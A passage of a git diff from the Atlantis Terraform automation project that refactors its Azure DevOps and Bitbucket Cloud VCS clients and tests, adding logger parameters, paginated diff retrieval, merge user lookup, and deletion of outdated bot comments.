allowlist, with multiple var files under allowlisted directories", + "/path,/another/path", + []string{"-var-file=test.tfvars", "-var-file", "/path/test.tfvars", "unused-flag", "-var-file=/another/path/sub/test.tfvars"}, + "", + }, + } + + for _, c := range cases { + t.Run(c.Description, func(t *testing.T) { + v, err := events.NewVarFileAllowlistChecker(c.Allowlist) + Ok(t, err) + + err = v.Check(c.Flags) + if c.ExpErr != "" { + ErrEquals(t, c.ExpErr, err) + } else { + Ok(t, err) + } + }) + } +} diff --git a/server/events/vcs/azuredevops_client.go b/server/events/vcs/azuredevops_client.go index 479ca8deb0..5dbae71ccf 100644 --- a/server/events/vcs/azuredevops_client.go +++ b/server/events/vcs/azuredevops_client.go @@ -9,20 +9,22 @@ import ( "strings" "time" - "github.com/mcdafydd/go-azuredevops/azuredevops" + "github.com/drmaxgit/go-azuredevops/azuredevops" "github.com/pkg/errors" "github.com/runatlantis/atlantis/server/events/models" "github.com/runatlantis/atlantis/server/events/vcs/common" + "github.com/runatlantis/atlantis/server/logging" ) // AzureDevopsClient represents an Azure DevOps VCS client type AzureDevopsClient struct { - Client *azuredevops.Client - ctx context.Context + Client *azuredevops.Client + ctx context.Context + UserName string } // NewAzureDevopsClient returns a valid Azure DevOps client. -func NewAzureDevopsClient(hostname string, token string) (*AzureDevopsClient, error) { +func NewAzureDevopsClient(hostname string, userName string, token string) (*AzureDevopsClient, error) { tp := azuredevops.BasicAuthTransport{ Username: "", Password: strings.TrimSpace(token), @@ -44,8 +46,9 @@ func NewAzureDevopsClient(hostname string, token string) (*AzureDevopsClient, er } client := &AzureDevopsClient{ - Client: adClient, - ctx: context.Background(), + Client: adClient, + UserName: userName, + ctx: context.Background(), } return client, nil @@ -53,33 +56,52 @@ func NewAzureDevopsClient(hostname string, token string) (*AzureDevopsClient, er // GetModifiedFiles returns the names of files that were modified in the merge request // relative to the repo root, e.g. parent/child/file.txt. -func (g *AzureDevopsClient) GetModifiedFiles(repo models.Repo, pull models.PullRequest) ([]string, error) { +func (g *AzureDevopsClient) GetModifiedFiles(logger logging.SimpleLogging, repo models.Repo, pull models.PullRequest) ([]string, error) { var files []string + owner, project, repoName := SplitAzureDevopsRepoFullName(repo.FullName) opts := azuredevops.PullRequestGetOptions{ IncludeWorkItemRefs: true, } - owner, project, repoName := SplitAzureDevopsRepoFullName(repo.FullName) - commitIDResponse, _, _ := g.Client.PullRequests.GetWithRepo(g.ctx, owner, project, repoName, pull.Num, &opts) + pullRequest, _, _ := g.Client.PullRequests.GetWithRepo(g.ctx, owner, project, repoName, pull.Num, &opts) - commitID := commitIDResponse.GetLastMergeSourceCommit().GetCommitID() + targetRefName := strings.Replace(pullRequest.GetTargetRefName(), "refs/heads/", "", 1) + sourceRefName := strings.Replace(pullRequest.GetSourceRefName(), "refs/heads/", "", 1) - r, _, _ := g.Client.Git.GetChanges(g.ctx, owner, project, repoName, commitID) + const pageSize = 100 // Number of files from diff call + var skip int - for _, change := range r.Changes { - item := change.GetItem() - // Convert the path to a relative path from the repo's root. - relativePath := filepath.Clean("./" + item.GetPath()) - files = append(files, relativePath) + for { + r, resp, err := g.Client.Git.GetDiffs(g.ctx, owner, project, repoName, targetRefName, sourceRefName, &azuredevops.GitDiffListOptions{ + Top: pageSize, + Skip: skip, + }) + if err != nil { + return nil, errors.Wrap(err, "getting pull request") + } + if resp.StatusCode != http.StatusOK { + return nil, errors.Wrapf(err, "http response code %d getting diff %s to %s", resp.StatusCode, sourceRefName, targetRefName) + } - // If the file was renamed, we'll want to run plan in the directory - // it was moved from as well. - changeType := azuredevops.Rename.String() - if change.ChangeType == &changeType { + for _, change := range r.Changes { + item := change.GetItem() // Convert the path to a relative path from the repo's root. - relativePath = filepath.Clean("./" + change.GetSourceServerItem()) + relativePath := filepath.Clean("./" + item.GetPath()) files = append(files, relativePath) + + // If the file was renamed, we'll want to run plan in the directory + // it was moved from as well. + changeType := azuredevops.Rename.String() + if change.ChangeType == &changeType { + relativePath = filepath.Clean("./" + change.GetSourceServerItem()) + files = append(files, relativePath) + } } + + if len(r.Changes) < pageSize { + break // Break if we have reached the end + } + skip += pageSize // Move to next page } return files, nil @@ -89,7 +111,7 @@ func (g *AzureDevopsClient) GetModifiedFiles(repo models.Repo, pull models.PullR // // If comment length is greater than the max comment length we split into // multiple comments. -func (g *AzureDevopsClient) CreateComment(repo models.Repo, pullNum int, comment string, command string) error { +func (g *AzureDevopsClient) CreateComment(logger logging.SimpleLogging, repo models.Repo, pullNum int, comment string, command string) error { //nolint: revive sepEnd := "\n```\n" + "\n
\n\n**Warning**: Output length greater than max comment size. Continued in next comment." sepStart := "Continued from previous comment.\n
Show Output\n\n" + @@ -98,18 +120,18 @@ func (g *AzureDevopsClient) CreateComment(repo models.Repo, pullNum int, comment // maxCommentLength is the maximum number of chars allowed in a single comment // This length was copied from the Github client - haven't found documentation // or tested limit in Azure DevOps. - const maxCommentLength = 65536 + const maxCommentLength = 150000 - comments := common.SplitComment(comment, maxCommentLength, sepEnd, sepStart) + comments := common.SplitComment(comment, maxCommentLength, sepEnd, sepStart, 0, "") owner, project, repoName := SplitAzureDevopsRepoFullName(repo.FullName) - for _, c := range comments { + for i := range comments { commentType := "text" parentCommentID := 0 prComment := azuredevops.Comment{ CommentType: &commentType, - Content: &c, + Content: &comments[i], ParentCommentID: &parentCommentID, } prComments := []*azuredevops.Comment{&prComment} @@ -124,13 +146,17 @@ func (g *AzureDevopsClient) CreateComment(repo models.Repo, pullNum int, comment return nil } -func (g *AzureDevopsClient) HidePrevPlanComments(repo models.Repo, pullNum int) error { +func (g *AzureDevopsClient) ReactToComment(logger logging.SimpleLogging, repo models.Repo, pullNum int, commentID int64, reaction string) error { //nolint: revive + return nil +} + +func (g *AzureDevopsClient) HidePrevCommandComments(logger logging.SimpleLogging, repo models.Repo, pullNum int, command string, dir string) error { //nolint: revive return nil } // PullIsApproved returns true if the merge request was approved by another reviewer. // https://docs.microsoft.com/en-us/azure/devops/repos/git/branch-policies?view=azure-devops#require-a-minimum-number-of-reviewers -func (g *AzureDevopsClient) PullIsApproved(repo models.Repo, pull models.PullRequest) (bool, error) { +func (g *AzureDevopsClient) PullIsApproved(logger logging.SimpleLogging, repo models.Repo, pull models.PullRequest) (approvalStatus models.ApprovalStatus, err error) { owner, project, repoName := SplitAzureDevopsRepoFullName(repo.FullName) opts := azuredevops.PullRequestGetOptions{ @@ -138,7 +164,7 @@ func (g *AzureDevopsClient) PullIsApproved(repo models.Repo, pull models.PullReq } adPull, _, err := g.Client.PullRequests.GetWithRepo(g.ctx, owner, project, repoName, pull.Num, &opts) if err != nil { - return false, errors.Wrap(err, "getting pull request") + return approvalStatus, errors.Wrap(err, "getting pull request") } for _, review := range adPull.Reviewers { @@ -151,15 +177,22 @@ func (g *AzureDevopsClient) PullIsApproved(repo models.Repo, pull models.PullReq } if review.GetVote() == azuredevops.VoteApproved || review.GetVote() == azuredevops.VoteApprovedWithSuggestions { - return true, nil + return models.ApprovalStatus{ + IsApproved: true, + }, nil } } - return false, nil + return approvalStatus, nil +} + +func (g *AzureDevopsClient) DiscardReviews(logger logging.SimpleLogging, repo models.Repo, pull models.PullRequest) error { //nolint: revive + // TODO implement + return nil } // PullIsMergeable returns true if the merge request can be merged. -func (g *AzureDevopsClient) PullIsMergeable(repo models.Repo, pull models.PullRequest) (bool, error) { +func (g *AzureDevopsClient) PullIsMergeable(logger logging.SimpleLogging, repo models.Repo, pull models.PullRequest, _ string, _ []string) (bool, error) { //nolint: revive owner, project, repoName := SplitAzureDevopsRepoFullName(repo.FullName) opts := azuredevops.PullRequestGetOptions{IncludeWorkItemRefs: true} @@ -210,7 +243,7 @@ func (g *AzureDevopsClient) PullIsMergeable(repo models.Repo, pull models.PullRe } // GetPullRequest returns the pull request. -func (g *AzureDevopsClient) GetPullRequest(repo models.Repo, num int) (*azuredevops.GitPullRequest, error) { +func (g *AzureDevopsClient) GetPullRequest(logger logging.SimpleLogging, repo models.Repo, num int) (*azuredevops.GitPullRequest, error) { opts := azuredevops.PullRequestGetOptions{ IncludeWorkItemRefs: true, } @@ -220,7 +253,7 @@ func (g *AzureDevopsClient) GetPullRequest(repo models.Repo, num int) (*azuredev } // UpdateStatus updates the build status of a commit. -func (g *AzureDevopsClient) UpdateStatus(repo models.Repo, pull models.PullRequest, state models.CommitStatus, src string, description string, url string) error { +func (g *AzureDevopsClient) UpdateStatus(logger logging.SimpleLogging, repo models.Repo, pull models.PullRequest, state models.CommitStatus, src string, description string, url string) error { adState := azuredevops.GitError.String() switch state { case models.PendingCommitStatus: @@ -231,6 +264,8 @@ func (g *AzureDevopsClient) UpdateStatus(repo models.Repo, pull models.PullReque adState = azuredevops.GitFailed.String() } + logger.Info("Updating Azure DevOps commit status for '%s' to '%s'", src, adState) + status := azuredevops.GitPullRequestStatus{} status.Context = GitStatusContextFromSrc(src) status.Description = &description @@ -247,7 +282,7 @@ func (g *AzureDevopsClient) UpdateStatus(repo models.Repo, pull models.PullReque return errors.Wrap(err, "getting pull request") } if resp.StatusCode != http.StatusOK { - return errors.Wrapf(err, "http response code %d getting pull request", resp.StatusCode) + return errors.Errorf("http response code %d getting pull request", resp.StatusCode) } if source.GetSupportsIterations() { opts := azuredevops.PullRequestIterationsListOptions{} @@ -256,7 +291,7 @@ func (g *AzureDevopsClient) UpdateStatus(repo models.Repo, pull models.PullReque return errors.Wrap(err, "listing pull request iterations") } if resp.StatusCode != http.StatusOK { - return errors.Wrapf(err, "http response code %d listing pull request iterations", resp.StatusCode) + return errors.Errorf("http response code %d listing pull request iterations", resp.StatusCode) } for _, iteration := range iterations { if sourceRef := iteration.GetSourceRefCommit(); sourceRef != nil { @@ -277,7 +312,7 @@ func (g *AzureDevopsClient) UpdateStatus(repo models.Repo, pull models.PullReque return errors.Wrap(err, "creating pull request status") } if resp.StatusCode != http.StatusOK { - return errors.Wrapf(err, "http response code %d creating pull request status", resp.StatusCode) + return errors.Errorf("http response code %d creating pull request status", resp.StatusCode) } return err } @@ -286,13 +321,22 @@ func (g *AzureDevopsClient) UpdateStatus(repo models.Repo, pull models.PullReque // If the user has set a branch policy that disallows no fast-forward, the merge will fail // until we handle branch policies // https://docs.microsoft.com/en-us/azure/devops/repos/git/branch-policies?view=azure-devops -func (g *AzureDevopsClient) MergePull(pull models.PullRequest) error { +func (g *AzureDevopsClient) MergePull(logger logging.SimpleLogging, pull models.PullRequest, pullOptions models.PullRequestOptions) error { + owner, project, repoName := SplitAzureDevopsRepoFullName(pull.BaseRepo.FullName) descriptor := "Atlantis Terraform Pull Request Automation" - i := "atlantis" - imageURL := "https://github.com/runatlantis/atlantis/raw/master/runatlantis.io/.vuepress/public/hero.png" + + userID, err := g.Client.UserEntitlements.GetUserID(g.ctx, g.UserName, owner) + if err != nil { + return errors.Wrapf(err, "Getting user id failed. User name: %s Organization %s ", g.UserName, owner) + } + if userID == nil { + return fmt.Errorf("the user %s is not found in the organization %s", g.UserName, owner) + } + + imageURL := "https://raw.githubusercontent.com/runatlantis/atlantis/main/runatlantis.io/public/hero.png" id := azuredevops.IdentityRef{ Descriptor: &descriptor, - ID: &i, + ID: userID, ImageURL: &imageURL, } // Set default pull request completion options @@ -302,8 +346,8 @@ func (g *AzureDevopsClient) MergePull(pull models.PullRequest) error { completionOpts := azuredevops.GitPullRequestCompletionOptions{ BypassPolicy: new(bool), BypassReason: azuredevops.String(""), - DeleteSourceBranch: new(bool), - MergeCommitMessage: azuredevops.String(common.AutomergeCommitMsg), + DeleteSourceBranch: &pullOptions.DeleteSourceBranchOnMerge, + MergeCommitMessage: azuredevops.String(common.AutomergeCommitMsg(pull.Num)), MergeStrategy: &mcm, SquashMerge: new(bool), TransitionWorkItems: twi, @@ -315,7 +359,6 @@ func (g *AzureDevopsClient) MergePull(pull models.PullRequest) error { mergePull.AutoCompleteSetBy = &id mergePull.CompletionOptions = &completionOpts - owner, project, repoName := SplitAzureDevopsRepoFullName(pull.BaseRepo.FullName) mergeResult, _, err := g.Client.PullRequests.Merge( g.ctx, owner, @@ -346,8 +389,9 @@ func (g *AzureDevopsClient) MarkdownPullLink(pull models.PullRequest) (string, e // repoFullName format owner/project/repo. // // Ex. runatlantis/atlantis => (runatlantis, atlantis) -// gitlab/subgroup/runatlantis/atlantis => (gitlab/subgroup/runatlantis, atlantis) -// azuredevops/project/atlantis => (azuredevops, project, atlantis) +// +// gitlab/subgroup/runatlantis/atlantis => (gitlab/subgroup/runatlantis, atlantis) +// azuredevops/project/atlantis => (azuredevops, project, atlantis) func SplitAzureDevopsRepoFullName(repoFullName string) (owner string, project string, repo string) { firstSlashIdx := strings.Index(repoFullName, "/") lastSlashIdx := strings.LastIndex(repoFullName, "/") @@ -363,12 +407,17 @@ func SplitAzureDevopsRepoFullName(repoFullName string) (owner string, project st return repoFullName[:lastSlashIdx], "", repoFullName[lastSlashIdx+1:] } -func (g *AzureDevopsClient) SupportsSingleFileDownload(repo models.Repo) bool { +// GetTeamNamesForUser returns the names of the teams or groups that the user belongs to (in the organization the repository belongs to). +func (g *AzureDevopsClient) GetTeamNamesForUser(_ logging.SimpleLogging, _ models.Repo, _ models.User) ([]string, error) { //nolint: revive + return nil, nil +} + +func (g *AzureDevopsClient) SupportsSingleFileDownload(repo models.Repo) bool { //nolint: revive return false } -func (g *AzureDevopsClient) DownloadRepoConfigFile(pull models.PullRequest) (bool, []byte, error) { - return false, []byte{}, fmt.Errorf("Not Implemented") +func (g *AzureDevopsClient) GetFileContent(_ logging.SimpleLogging, pull models.PullRequest, fileName string) (bool, []byte, error) { //nolint: revive + return false, []byte{}, fmt.Errorf("not implemented") } // GitStatusContextFromSrc parses an Atlantis formatted src string into a context suitable @@ -389,3 +438,11 @@ func GitStatusContextFromSrc(src string) *azuredevops.GitStatusContext { Genre: &genre, } } + +func (g *AzureDevopsClient) GetCloneURL(_ logging.SimpleLogging, VCSHostType models.VCSHostType, repo string) (string, error) { //nolint: revive + return "", fmt.Errorf("not yet implemented") +} + +func (g *AzureDevopsClient) GetPullLabels(_ logging.SimpleLogging, _ models.Repo, _ models.PullRequest) ([]string, error) { + return nil, fmt.Errorf("not yet implemented") +} diff --git a/server/events/vcs/azuredevops_client_test.go b/server/events/vcs/azuredevops_client_test.go index 5e2c246af2..4cc4703dea 100644 --- a/server/events/vcs/azuredevops_client_test.go +++ b/server/events/vcs/azuredevops_client_test.go @@ -3,21 +3,24 @@ package vcs_test import ( "context" "fmt" - "io/ioutil" + "io" "net/http" "net/http/httptest" "net/url" + "os" "strings" "testing" - "github.com/mcdafydd/go-azuredevops/azuredevops" + "github.com/drmaxgit/go-azuredevops/azuredevops" "github.com/runatlantis/atlantis/server/events/models" "github.com/runatlantis/atlantis/server/events/vcs" - "github.com/runatlantis/atlantis/server/events/vcs/fixtures" + "github.com/runatlantis/atlantis/server/events/vcs/testdata" + "github.com/runatlantis/atlantis/server/logging" . "github.com/runatlantis/atlantis/testing" ) func TestAzureDevopsClient_MergePull(t *testing.T) { + logger := logging.NewNoopLogger(t) cases := []struct { description string response string @@ -64,6 +67,21 @@ func TestAzureDevopsClient_MergePull(t *testing.T) { PullRequestID: azuredevops.Int(22), } + userIDResponse := `{ + "members": [ + { + "id": "6416203b-98bb-4910-8f8a-b12aa19a399f" + } + ], + "continuationToken": null, + "totalCount": 0, + "items": [ + { + "id": "6416203b-98bb-4910-8f8a-b12aa19a399f" + } + ] + }` + for _, c := range cases { t.Run(c.description, func(t *testing.T) { testServer := httptest.NewTLSServer( @@ -73,6 +91,9 @@ func TestAzureDevopsClient_MergePull(t *testing.T) { case "/owner/project/_apis/git/repositories/repo/pullrequests/22?api-version=5.1-preview.1": w.WriteHeader(c.code) w.Write([]byte(c.response)) // nolint: errcheck + case "/owner/_apis/userentitlements?$filter=name+eq+'user'&$api-version=6.0-preview.3": + w.WriteHeader(c.code) + w.Write([]byte(userIDResponse)) // nolint: errcheck default: t.Errorf("got unexpected request at %q", r.RequestURI) http.Error(w, "not found", http.StatusNotFound) @@ -81,7 +102,8 @@ func TestAzureDevopsClient_MergePull(t *testing.T) { testServerURL, err := url.Parse(testServer.URL) Ok(t, err) - client, err := vcs.NewAzureDevopsClient(testServerURL.Host, "token") + client, err := vcs.NewAzureDevopsClient(testServerURL.Host, "user", "token") + client.Client.VsaexBaseURL = *testServerURL Ok(t, err) defer disableSSLVerification()() @@ -101,14 +123,18 @@ func TestAzureDevopsClient_MergePull(t *testing.T) { } fmt.Printf("Successfully merged pull request: %+v\n", merge) - err = client.MergePull(models.PullRequest{ - Num: 22, - BaseRepo: models.Repo{ - FullName: "owner/project/repo", - Owner: "owner", - Name: "repo", - }, - }) + err = client.MergePull( + logger, + models.PullRequest{ + Num: 22, + BaseRepo: models.Repo{ + FullName: "owner/project/repo", + Owner: "owner", + Name: "repo", + }, + }, models.PullRequestOptions{ + DeleteSourceBranchOnMerge: false, + }) if c.expErr == "" { Ok(t, err) } else { @@ -120,6 +146,7 @@ func TestAzureDevopsClient_MergePull(t *testing.T) { } func TestAzureDevopsClient_UpdateStatus(t *testing.T) { + logger := logging.NewNoopLogger(t) cases := []struct { status models.CommitStatus expState string @@ -170,7 +197,7 @@ func TestAzureDevopsClient_UpdateStatus(t *testing.T) { case "/owner/project/_apis/git/repositories/repo/pullrequests/22/statuses?api-version=5.1-preview.1": gotRequest = true defer r.Body.Close() // nolint: errcheck - body, err := ioutil.ReadAll(r.Body) + body, err := io.ReadAll(r.Body) Ok(t, err) exp := fmt.Sprintf(partResponse, c.expState) if c.supportsIterations == true { @@ -192,7 +219,7 @@ func TestAzureDevopsClient_UpdateStatus(t *testing.T) { testServerURL, err := url.Parse(testServer.URL) Ok(t, err) - client, err := vcs.NewAzureDevopsClient(testServerURL.Host, "token") + client, err := vcs.NewAzureDevopsClient(testServerURL.Host, "user", "token") Ok(t, err) defer disableSSLVerification()() @@ -201,11 +228,14 @@ func TestAzureDevopsClient_UpdateStatus(t *testing.T) { Owner: "owner", Name: "repo", } - err = client.UpdateStatus(repo, models.PullRequest{ - Num: 22, - BaseRepo: repo, - HeadCommit: "sha", - }, c.status, "src", "description", "https://google.com") + err = client.UpdateStatus( + logger, + repo, + models.PullRequest{ + Num: 22, + BaseRepo: repo, + HeadCommit: "sha", + }, c.status, "src", "description", "https://google.com") Ok(t, err) Assert(t, gotRequest, "expected to get the request") }) @@ -215,6 +245,7 @@ func TestAzureDevopsClient_UpdateStatus(t *testing.T) { // GetModifiedFiles should make multiple requests if more than one page // and concat results. func TestAzureDevopsClient_GetModifiedFiles(t *testing.T) { + logger := logging.NewNoopLogger(t) itemRespTemplate := `{ "changes": [ { @@ -240,9 +271,9 @@ func TestAzureDevopsClient_GetModifiedFiles(t *testing.T) { switch r.RequestURI { // The first request should hit this URL. case "/owner/project/_apis/git/repositories/repo/pullrequests/1?api-version=5.1-preview.1&includeWorkItemRefs=true": - w.Write([]byte(fixtures.ADPullJSON)) // nolint: errcheck + w.Write([]byte(testdata.ADPullJSON)) // nolint: errcheck // The second should hit this URL. - case "/owner/project/_apis/git/repositories/repo/commits/b60280bc6e62e2f880f1b63c1e24987664d3bda3/changes?api-version=5.1-preview.1": + case "/owner/project/_apis/git/repositories/repo/diffs/commits?%24top=100&api-version=5.1&baseVersion=new_feature&targetVersion=npaulk%2Fmy_work": // We write a header that means there's an additional page. w.Write([]byte(resp)) // nolint: errcheck return @@ -255,28 +286,31 @@ func TestAzureDevopsClient_GetModifiedFiles(t *testing.T) { testServerURL, err := url.Parse(testServer.URL) Ok(t, err) - client, err := vcs.NewAzureDevopsClient(testServerURL.Host, "token") + client, err := vcs.NewAzureDevopsClient(testServerURL.Host, "user", "token") Ok(t, err) defer disableSSLVerification()() - files, err := client.GetModifiedFiles(models.Repo{ - FullName: "owner/project/repo", - Owner: "owner", - Name: "repo", - CloneURL: "", - SanitizedCloneURL: "", - VCSHost: models.VCSHost{ - Type: models.AzureDevops, - Hostname: "dev.azure.com", - }, - }, models.PullRequest{ - Num: 1, - }) + files, err := client.GetModifiedFiles( + logger, + models.Repo{ + FullName: "owner/project/repo", + Owner: "owner", + Name: "repo", + CloneURL: "", + SanitizedCloneURL: "", + VCSHost: models.VCSHost{ + Type: models.AzureDevops, + Hostname: "dev.azure.com", + }, + }, models.PullRequest{ + Num: 1, + }) Ok(t, err) Equals(t, []string{"file1.txt", "file2.txt"}, files) } func TestAzureDevopsClient_PullIsMergeable(t *testing.T) { + logger := logging.NewNoopLogger(t) type Policy struct { genre string name string @@ -340,10 +374,10 @@ func TestAzureDevopsClient_PullIsMergeable(t *testing.T) { }, } - jsonPullRequestBytes, err := ioutil.ReadFile("fixtures/azuredevops-pr.json") + jsonPullRequestBytes, err := os.ReadFile("testdata/azuredevops-pr.json") Ok(t, err) - jsonPolicyEvaluationBytes, err := ioutil.ReadFile("fixtures/azuredevops-policyevaluations.json") + jsonPolicyEvaluationBytes, err := os.ReadFile("testdata/azuredevops-policyevaluations.json") Ok(t, err) pullRequestBody := string(jsonPullRequestBytes) @@ -375,24 +409,26 @@ func TestAzureDevopsClient_PullIsMergeable(t *testing.T) { testServerURL, err := url.Parse(testServer.URL) Ok(t, err) - client, err := vcs.NewAzureDevopsClient(testServerURL.Host, "token") + client, err := vcs.NewAzureDevopsClient(testServerURL.Host, "user", "token") Ok(t, err) defer disableSSLVerification()() - actMergeable, err := client.PullIsMergeable(models.Repo{ - FullName: "owner/project/repo", - Owner: "owner", - Name: "repo", - CloneURL: "", - SanitizedCloneURL: "", - VCSHost: models.VCSHost{ - Type: models.AzureDevops, - Hostname: "dev.azure.com", - }, - }, models.PullRequest{ - Num: 1, - }) + actMergeable, err := client.PullIsMergeable( + logger, + models.Repo{ + FullName: "owner/project/repo", + Owner: "owner", + Name: "repo", + CloneURL: "", + SanitizedCloneURL: "", + VCSHost: models.VCSHost{ + Type: models.AzureDevops, + Hostname: "dev.azure.com", + }, + }, models.PullRequest{ + Num: 1, + }, "atlantis-test", []string{}) Ok(t, err) Equals(t, c.expMergeable, actMergeable) }) @@ -400,6 +436,7 @@ func TestAzureDevopsClient_PullIsMergeable(t *testing.T) { } func TestAzureDevopsClient_PullIsApproved(t *testing.T) { + logger := logging.NewNoopLogger(t) cases := []struct { testName string reviewerUniqueName string @@ -444,7 +481,7 @@ func TestAzureDevopsClient_PullIsApproved(t *testing.T) { }, } - jsBytes, err := ioutil.ReadFile("fixtures/azuredevops-pr.json") + jsBytes, err := os.ReadFile("testdata/azuredevops-pr.json") Ok(t, err) json := string(jsBytes) @@ -469,33 +506,36 @@ func TestAzureDevopsClient_PullIsApproved(t *testing.T) { testServerURL, err := url.Parse(testServer.URL) Ok(t, err) - client, err := vcs.NewAzureDevopsClient(testServerURL.Host, "token") + client, err := vcs.NewAzureDevopsClient(testServerURL.Host, "user", "token") Ok(t, err) defer disableSSLVerification()() - actApproved, err := client.PullIsApproved(models.Repo{ - FullName: "owner/project/repo", - Owner: "owner", - Name: "repo", - CloneURL: "", - SanitizedCloneURL: "", - VCSHost: models.VCSHost{ - Type: models.AzureDevops, - Hostname: "dev.azure.com", - }, - }, models.PullRequest{ - Num: 1, - }) + approvalStatus, err := client.PullIsApproved( + logger, + models.Repo{ + FullName: "owner/project/repo", + Owner: "owner", + Name: "repo", + CloneURL: "", + SanitizedCloneURL: "", + VCSHost: models.VCSHost{ + Type: models.AzureDevops, + Hostname: "dev.azure.com", + }, + }, models.PullRequest{ + Num: 1, + }) Ok(t, err) - Equals(t, c.expApproved, actApproved) + Equals(t, c.expApproved, approvalStatus.IsApproved) }) } } func TestAzureDevopsClient_GetPullRequest(t *testing.T) { + logger := logging.NewNoopLogger(t) // Use a real Azure DevOps json response and edit the mergeable_state field. - jsBytes, err := ioutil.ReadFile("fixtures/azuredevops-pr.json") + jsBytes, err := os.ReadFile("testdata/azuredevops-pr.json") Ok(t, err) response := string(jsBytes) @@ -514,27 +554,29 @@ func TestAzureDevopsClient_GetPullRequest(t *testing.T) { })) testServerURL, err := url.Parse(testServer.URL) Ok(t, err) - client, err := vcs.NewAzureDevopsClient(testServerURL.Host, "token") + client, err := vcs.NewAzureDevopsClient(testServerURL.Host, "user", "token") Ok(t, err) defer disableSSLVerification()() - _, err = client.GetPullRequest(models.Repo{ - FullName: "owner/project/repo", - Owner: "owner", - Name: "repo", - CloneURL: "", - SanitizedCloneURL: "", - VCSHost: models.VCSHost{ - Type: models.AzureDevops, - Hostname: "dev.azure.com", - }, - }, 1) + _, err = client.GetPullRequest( + logger, + models.Repo{ + FullName: "owner/project/repo", + Owner: "owner", + Name: "repo", + CloneURL: "", + SanitizedCloneURL: "", + VCSHost: models.VCSHost{ + Type: models.AzureDevops, + Hostname: "dev.azure.com", + }, + }, 1) Ok(t, err) }) } func TestAzureDevopsClient_MarkdownPullLink(t *testing.T) { - client, err := vcs.NewAzureDevopsClient("hostname", "token") + client, err := vcs.NewAzureDevopsClient("hostname", "user", "token") Ok(t, err) pull := models.PullRequest{Num: 1} s, _ := client.MarkdownPullLink(pull) @@ -596,7 +638,9 @@ func TestAzureDevopsClient_GitStatusContextFromSrc(t *testing.T) { for _, c := range cases { result := vcs.GitStatusContextFromSrc(c.src) - Equals(t, &c.expName, result.Name) - Equals(t, &c.expGenre, result.Genre) + expName := c.expName + expGenre := c.expGenre + Equals(t, &expName, result.Name) + Equals(t, &expGenre, result.Genre) } } diff --git a/server/events/vcs/bitbucketcloud/client.go b/server/events/vcs/bitbucketcloud/client.go index ff60faf6c6..6e10476bdd 100644 --- a/server/events/vcs/bitbucketcloud/client.go +++ b/server/events/vcs/bitbucketcloud/client.go @@ -5,12 +5,14 @@ import ( "encoding/json" "fmt" "io" - "io/ioutil" "net/http" + "strings" + "unicode/utf8" + validator "github.com/go-playground/validator/v10" "github.com/pkg/errors" "github.com/runatlantis/atlantis/server/events/models" - validator "gopkg.in/go-playground/validator.v9" + "github.com/runatlantis/atlantis/server/logging" ) type Client struct { @@ -38,9 +40,11 @@ func NewClient(httpClient *http.Client, username string, password string, atlant } } +var MY_UUID = "" + // GetModifiedFiles returns the names of files that were modified in the merge request // relative to the repo root, e.g. parent/child/file.txt. -func (b *Client) GetModifiedFiles(repo models.Repo, pull models.PullRequest) ([]string, error) { +func (b *Client) GetModifiedFiles(logger logging.SimpleLogging, repo models.Repo, pull models.PullRequest) ([]string, error) { var files []string nextPageURL := fmt.Sprintf("%s/2.0/repositories/%s/pullrequests/%d/diffstat", b.BaseURL, repo.FullName, pull.Num) @@ -85,7 +89,7 @@ func (b *Client) GetModifiedFiles(repo models.Repo, pull models.PullRequest) ([] } // CreateComment creates a comment on the merge request. -func (b *Client) CreateComment(repo models.Repo, pullNum int, comment string, command string) error { +func (b *Client) CreateComment(logger logging.SimpleLogging, repo models.Repo, pullNum int, comment string, _ string) error { // NOTE: I tried to find the maximum size of a comment for bitbucket.org but // I got up to 200k chars without issue so for now I'm not going to bother // to detect this. @@ -100,37 +104,127 @@ func (b *Client) CreateComment(repo models.Repo, pullNum int, comment string, co return err } -func (b *Client) HidePrevPlanComments(repo models.Repo, pullNum int) error { +// UpdateComment updates the body of a comment on the merge request. +func (b *Client) ReactToComment(_ logging.SimpleLogging, _ models.Repo, _ int, _ int64, _ string) error { + // TODO: Bitbucket support for reactions return nil } +func (b *Client) HidePrevCommandComments(logger logging.SimpleLogging, repo models.Repo, pullNum int, command string, _ string) error { + // there is no way to hide comment, so delete them instead + me, err := b.GetMyUUID() + if err != nil { + return errors.Wrapf(err, "Cannot get my uuid! Please check required scope of the auth token!") + } + logger.Debug("My bitbucket user UUID is: %s", me) + + comments, err := b.GetPullRequestComments(repo, pullNum) + if err != nil { + return err + } + + for _, c := range comments { + logger.Debug("Comment is %v", c.Content.Raw) + if strings.EqualFold(*c.User.UUID, me) { + // do the same crude filtering as github client does + body := strings.Split(c.Content.Raw, "\n") + logger.Debug("Body is %s", body) + if len(body) == 0 { + continue + } + firstLine := strings.ToLower(body[0]) + if strings.Contains(firstLine, strings.ToLower(command)) { + // we found our old comment that references that command + logger.Debug("Deleting comment with id %s", *c.ID) + err = b.DeletePullRequestComment(repo, pullNum, *c.ID) + if err != nil { + return err + } + } + } + } + return nil +} + +func (b *Client) DeletePullRequestComment(repo models.Repo, pullNum int, commentId int) error { + path := fmt.Sprintf("%s/2.0/repositories/%s/pullrequests/%d/comments/%d", b.BaseURL, repo.FullName, pullNum, commentId) + _, err := b.makeRequest("DELETE", path, nil) + if err != nil { + return err + } + return nil +} + +func (b *Client) GetPullRequestComments(repo models.Repo, pullNum int) (comments []PullRequestComment, err error) { + path := fmt.Sprintf("%s/2.0/repositories/%s/pullrequests/%d/comments", b.BaseURL, repo.FullName, pullNum) + res, err := b.makeRequest("GET", path, nil) + if err != nil { + return comments, err + } + + var pulls PullRequestComments + if err := json.Unmarshal(res, &pulls); err != nil { + return comments, errors.Wrapf(err, "Could not parse response %q", string(res)) + } + return pulls.Values, nil +} + +func (b *Client) GetMyUUID() (uuid string, err error) { + if MY_UUID == "" { + path := fmt.Sprintf("%s/2.0/user", b.BaseURL) + resp, err := b.makeRequest("GET", path, nil) + + if err != nil { + return uuid, err + } + + var user User + if err := json.Unmarshal(resp, &user); err != nil { + return uuid, errors.Wrapf(err, "Could not parse response %q", string(resp)) + } + + if err := validator.New().Struct(user); err != nil { + return uuid, errors.Wrapf(err, "API response %q was missing a field", string(resp)) + } + + uuid = *user.UUID + MY_UUID = uuid + + return uuid, nil + } else { + return MY_UUID, nil + } +} + // PullIsApproved returns true if the merge request was approved. -func (b *Client) PullIsApproved(repo models.Repo, pull models.PullRequest) (bool, error) { +func (b *Client) PullIsApproved(logger logging.SimpleLogging, repo models.Repo, pull models.PullRequest) (approvalStatus models.ApprovalStatus, err error) { path 